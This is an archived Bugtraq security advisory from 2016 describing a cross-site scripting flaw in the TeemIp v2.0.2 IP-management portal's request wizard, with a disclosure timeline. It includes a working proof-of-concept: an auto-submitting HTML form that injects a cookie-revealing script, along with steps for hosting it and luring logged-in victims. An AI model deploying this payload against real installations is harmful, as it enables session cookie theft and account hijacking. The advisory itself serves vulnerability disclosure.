bugtraq - TeempIp XSS Cookie Theft

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201610032124.u93LOH1T005168@sf01web1.securityfocus.com>
Date: Mon, 3 Oct 2016 21:24:17 GMT
From: apparitionsec@...il.com
To: bugtraq@...urityfocus.com
Subject: TeempIp XSS Cookie Theft

[+] Credits: hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/TEEMIP-XSS-COOKIE-THEFT.txt

[+] ISR: ApparitionSec

Vendor:
===============
www.combodo.com

Product:
==============
TeemIp v2.0.2

Offer your customers a professional and economically viable approach to cope with the complexity of managing IP addresses.
TeemIP has a CMDB and service management functions to industrialize the daily tasks of network administrators.

Vulnerability Type:
===================
XSS Cookie Theft

CVE Reference:
==============
N/A

Vulnerability Details:
=====================

TeempIp as XSS entry point on create request wizard form in the HTML multiple choice options field. If a user is authenticated and visits a
malicious webpage hosting the XSS payload the 'itop' Session Cookies are disclosed to the attacker.

e.g.

itop-c6c8c716c24b1ab9a80eea69b0e6fd43=lcl1i81l7eq2nl5l0435118a33

Vendor has since updated TeemIp on sourceforge but used same version number 2.0.2
https://sourceforge.net/projects/teemip/

Users of TeemIp should download / update ...

Exploit code(s):
===============

1) host the malicious XSS form on attacker server

2) get victim to visit site, if they are logged in then BOOM! the cookies are yours...

<form action="http://localhost/TeemIp-2.0.2/web/portal/index.php?operation=create_request" id="request_wizard" method="post" enctype="multipart/form-data">
<input type="hidden" id="step_history" name="step_history" value=""><input type="hidden" id="next_step" name="next_step" value="1">
<input type="hidden" id="transaction_id" name="transaction_id" value="666">
<input type="hidden" name="operation" value="create_request"><select name="class">
<option  value="';<DIV onMouseMove='alert(document.cookie)' style='color:#0000FF'><b>*** HEY! XSS OVER HERE MOUSEOVER AROUND THE PAGE ***</b></div>" Address Release Request</option>
<option  value="IPRequestAddressUpdate">IP Address Update Request</option>
<option value="IPRequestAddressCreateV4">IP Address V4 Creation Request</option>
<option  value="IPRequestAddressCreateV6">IP Address V6 Creation Request
</option><option  value="IPRequestSubnetDelete">Subnet Release Request</option><option  value="IPRequestSubnetUpdate">Subnet Update Request
</option><option  value="IPRequestSubnetCreateV4">Subnet V4 Creation Request</option><option  value="IPRequestSubnetCreateV6">Subnet V6 Creation Request
</option></select>
<script>document.forms[0].submit()</script>
</form>

Disclosure Timeline:
=====================================
Vendor Notification:  August 29, 2016
Second notice: September 1, 2016
Vendor reply: September 1, 2016
Vendor reply: September 2, 2016
Vendor unreponsive
Vendor release new version: 2016-09-12 (same version number v2.0.2) https://sourceforge.net/projects/teemip/
September 23, 2016 : Public Disclosure

Exploitation Technique:
=======================
Remote

Severity Level:
================
Low

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX